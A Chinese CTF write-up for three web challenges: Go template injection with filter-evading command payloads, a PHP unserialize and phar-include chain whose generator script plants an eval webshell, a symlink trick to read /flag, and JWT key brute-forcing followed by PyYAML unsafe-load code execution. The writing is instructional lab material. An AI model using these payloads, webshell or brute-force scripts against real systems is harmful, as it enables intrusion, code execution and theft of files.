2025-湾区杯


ssti

考点:go之ssti

抓包发现响应头是Server: TinyFat/0.99.75,问无问是go语言写的,那就是go的ssti。

好多命令用不了,而且如果waf了还直接打印,还以为不是ssti,拷打无问一直问到这命令可以列目录

1
{{exec "echo /*"}}

image-20250908163728463

waf了好多,cat过滤了用tac,flag被waf了,好像,f,a,g也被waf,所以就打如下

1
{{exec "tac /??a?"}}

image-20250908165010939

easy_readfile

考点:include解析phar文件+cp硬复制

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
highlight_file(__FILE__);

function waf($data){
    if (is_array($data)){
        die("Cannot transfer arrays");
    }
    if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {
        die("You can't do");
    }
}

class Coral{
    public $pivot;

    public function __set($k, $value) {
        $k = $this->pivot->ctor;
        echo new $k($value);
    }
}

class Nimbus{
    public $handle;
    public $ctor;

    public function __destruct() {
        return $this->handle();
    }
    public function __call($name, $arg){
        $arg[1] = $this->handle->$name;
    }
}

class Zephyr{
    public $target;
    public $payload;
    public function __get($prop)
    {
        $this->target->$prop = $this->payload;
    }
}

class Acheron {
    public $mode;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->mode == 'w') {
            waf($data);
            $filename = "/tmp/".md5(rand()).".phar";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->mode == 'r') {
            waf($data);
            $f = include($data);
            if($f){
                echo "It is file";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

if(strlen($_POST[1]) < 52) {
    $a = unserialize($_POST[1]);
}
else{
    echo "str too long";
}

?>

直接从Acheron开始序列化就行。然后构造phar马当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog(注意马里面这$要转义)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
// 创建恶意 PHAR 文件
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();

// 定义 Stub(触发写入 Webshell)
$stub = <<<'STUB'
<?php
$filename = "/var/www/html/2.php";
$content = "<?php eval(\$_POST[2]);?>";
file_put_contents($filename, $content);
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

// 压缩为 .phar.gz
$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);

// 读取 .phar.gz 内容并进行 URL 编码
$pharGzContent = file_get_contents("exp.phar.gz");
$urlEncoded = urlencode($pharGzContent);

// 输出结果
echo "URL Encoded .phar.gz content:\n";
echo $urlEncoded;

?>

image-20250908213140120

记住一定要代码url编码,厨子不行!!!,然后就打让include解析phar

1
1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}&0=/tmp/e6cdc3e72d9cce10cb09ceacf3d2416b.phar

访问2.php,但是拿不了flag

image-20250908213951632

然后,观察到可以利用cp命令

image-20250908221425338

1
2
3
4
ln -s /flag f
touch ./-L
cd backup
cat f
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
创建符号链接 f指向 /flag
ln -s /flag f:创建一个名为 f的符号链接,指向 /flag(假设 /flag是敏感文件)。
此时 /var/www/html/目录下会有一个 f文件,内容实际上是 /flag

创建干扰文件 -L
touch ./-L:创建一个名为 -L的空文件

干扰 cp -P的命令行参数解析
 cp -P的行为
 /var/www/html/目录下运行:
cp -P * /var/www/html/backup/
会匹配当前目录下的所有文件,包括:f(符号链接),L(干扰文件)

关键点

cp -P会 保留符号链接的属性(即 f仍然指向 /flag)。

但由于 -L文件的存在cp可能会错误地将其解析为 -L选项(强制跟随符号链接,直接复制链接指向的原始文件内容,相当与f里面就是/flag内容),但实际上 -P优先级更高

备份后 /var/www/html/backup/目录会包含:f(仍然是指向 /flag的符号链接,还有-L(干扰文件)
所以cat实际上读取的是 /flag的内容

image-20250908223213952

ez_python

考点:yaml反序列化

看看代码,上传文件说要admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
let token = "";
        fetch("/auth")
            .then(res => res.json())
            .then(data => {
                token = data.token;
                const payload = JSON.parse(atob(token.split('.')[1]));
                document.getElementById("user-info").innerHTML =
                    "<span style='color:#444'>👤 " + payload.username + "</span> | " +
                    "<span style='color:#4CAF50'>Role: " + payload.role + "</span>";
            });

        function runCode() {
            const fileInput = document.getElementById('codefile');
            const mode = document.getElementById("mode").value;

            if (fileInput.files.length === 0) {
                document.getElementById("result").textContent = '{"error": "Please select a file to upload."}';
                return;
            }
            const file = fileInput.files[0];

            const formData = new FormData();
            formData.append('codefile', file);
            formData.append('mode', mode);

            fetch("/sandbox", {
                method: "POST",
                headers: {
                    "Authorization": "Bearer " + token
                },
                body: formData
            })
            .then(res => res.json())
            .then(data => {
                document.getElementById("result").textContent = JSON.stringify(data, null, 2);
            });
        }

直接解码将user改admin,但是不知道密钥,不管先生成一个jwt,提交看看有没有报错

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import jwt
import datetime

# 定义标头(Headers)
headers = {
    "alg": "HS256",  # 指定算法为HS256
    "typ": "JWT"  # 类型为JWT
}

# 定义有效载体(Payload)
token_dict = {
    "username": "guest",
    "role": "admin"
}

# 密钥
secret = ''

jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
print("JWT Token:", jwt_token)

果然提示Key starts with \"@o70xO$0%#qR9#**\". The 2 missing chars are alphanumeric (letters and numbers)."}给出部分签名,还有2个要爆破

image-20250908232759727

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import jwt
import string

# 定义标头(Headers)
headers = {
    "alg": "HS256",  # 指定算法为HS256
    "typ": "JWT"  # 类型为JWT
}

# 定义有效载体(Payload)
token_dict = {
    "username": "guest",
    "role": "admin"
}

# 从 /auth 获取的原始 token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 已知的密钥前缀(通过信息收集获得)
prefix = "@o70xO$0%#qR9#"

# 生成所有可能的字符组合(a-zA-Z0-9)
chars = string.ascii_letters + string.digits

# 暴力破解最后两个字符
for c1 in chars:
    for c2 in chars:
        key = prefix + c1 + c2
        try:
            # 尝试用当前密钥解码 token
            payload = jwt.decode(token, key, algorithms=["HS256"])
            print("[+] Found key:", key)
            jwt_token = jwt.encode(token_dict, key, algorithm='HS256', headers=headers)
            print("JWT Token:", jwt_token)
            exit(0)
        except jwt.InvalidTokenError:
            # 密钥无效,继续尝试
            continue

print("[-] Key not found.")

然后上传yaml执行命令PYYAML反序列化详细分析-先知社区

image-20250908234935391

image-20250908234953208

看看源码(waf针对python代码,而yaml是无waf的)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from flask import Flask, request, jsonify, render_template_string
import jwt
import asyncio
import yaml
import os

app = Flask(__name__)

JWT_SECRET = "@o70xO$0%#qR9#m0"
JWT_ALGO = "HS256"

FORBIDDEN = ['__', 'import', 'os', 'eval', 'exec', 'open', 'read', 'write', 
             'system', 'subprocess', 'communicate', 'Popen', 'decode', "\\"]

HTML_PAGE = '''
<!DOCTYPE html>
<html>
<head>
    <title>Vault</title>
    <style>
        body { font-family: "Segoe UI", sans-serif; background-color: #f4f4f4; padding: 40px; text-align: center; }
        #user-info { margin-bottom: 40px; font-weight: bold; font-size: 18px; color: #333; }
        #sandbox-container { margin-top: 30px; }
        select, input, button { font-size: 16px; margin: 10px; padding: 8px; border-radius: 6px; border: 1px solid #ccc; }
        #result { background: #222; color: #0f0; padding: 15px; width: 80%; margin: 20px auto; white-space: pre-wrap; border-radius: 8px; text-align: left; }
        button { background-color: #4CAF50; color: white; border: none; cursor: pointer; }
        button:hover { background-color: #45a049; }
        input[type="file"] { display: block; margin: 10px auto; }
    </style>
</head>
<body>
    <div id="user-info">Loading user info...</div>
    <div id="sandbox-container">
        <select id="mode">
            <option value="yaml" selected>YAML</option>
            <option value="python">Python</option>
        </select>
        <br>
        <input type="file" id="codefile">
        <br>
        <button onclick="runCode()">▶ Execute from File</button>
        <pre id="result">Waiting for output...</pre>
    </div>
    <script>
        let token = "";
        fetch("/auth")
            .then(res => res.json())
            .then(data => {
                token = data.token;
                const payload = JSON.parse(atob(token.split('.')[1]));
                document.getElementById("user-info").innerHTML =
                    "<span style='color:#444'>👤 " + payload.username + "</span> | " +
                    "<span style='color:#4CAF50'>Role: " + payload.role + "</span>";
            });

        function runCode() {
            const fileInput = document.getElementById('codefile');
            const mode = document.getElementById("mode").value;

            if (fileInput.files.length === 0) {
                document.getElementById("result").textContent = '{"error": "Please select a file to upload."}';
                return;
            }
            const file = fileInput.files[0];

            const formData = new FormData();
            formData.append('codefile', file);
            formData.append('mode', mode);

            fetch("/sandbox", {
                method: "POST",
                headers: {
                    "Authorization": "Bearer " + token
                },
                body: formData
            })
            .then(res => res.json())
            .then(data => {
                document.getElementById("result").textContent = JSON.stringify(data, null, 2);
            });
        }
    </script>
</body>
</html>
'''

@app.route('/')
def index():
    return render_template_string(HTML_PAGE)

@app.route('/auth')
def auth():
    token = jwt.encode({'username': 'guest', 'role': 'user'}, JWT_SECRET, algorithm=JWT_ALGO)
    if isinstance(token, bytes):
        token = token.decode()
    return jsonify({'token': token})

def is_code_safe(code: str) -> bool:
    return not any(word in code for word in FORBIDDEN)

@app.route('/sandbox', methods=['POST'])
def sandbox():
    auth_header = request.headers.get('Authorization', '')
    if not auth_header.startswith('Bearer '):
        return jsonify({'error': 'Invalid token format'}), 401
    
    token = auth_header.replace('Bearer ', '')
    if 'codefile' not in request.files:
        return jsonify({'error': 'No file part in the request'}), 400

    file = request.files['codefile']
    if file.filename == '':
        return jsonify({'error': 'No file selected'}), 400

    mode = request.form.get('mode', 'python')
    try:
        code = file.read().decode('utf-8')
    except Exception as e:
        return jsonify({'error': f'Could not read or decode file: {e}'}), 400

    if not all([token, code, mode]):
        return jsonify({'error': 'Token, code, or mode is empty'}), 400

    try:
        payload = jwt.decode(token, JWT_SECRET, algorithms=[JWT_ALGO])
    except Exception as e:
        partial_key = JWT_SECRET[:-2]
        return {
            'error': 'JWT Decode Failed. Key Hint',
            'hint': f'Key starts with "{partial_key}**". The 2 missing chars are alphanumeric (letters and numbers).'
        }, 500

    if payload.get('role') != 'admin':
        return {'error': 'Permission Denied: admin only'}, 403

    if mode == 'python':
        if not is_code_safe(code):
            return {'error': 'forbidden keyword detected'}, 400
        try:
            scope = {}
            exec(code, scope)
            result = scope['run']()
            return {'result': result}
        except Exception as e:
            return {'error': str(e)}, 500

    elif mode == 'yaml':
        try:
            obj = yaml.load(code, Loader=yaml.UnsafeLoader)
            return {'result': str(obj)}
        except Exception as e:
            return {'error': str(e)}, 500

    return {'error': 'invalid mode'}, 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
谢谢观看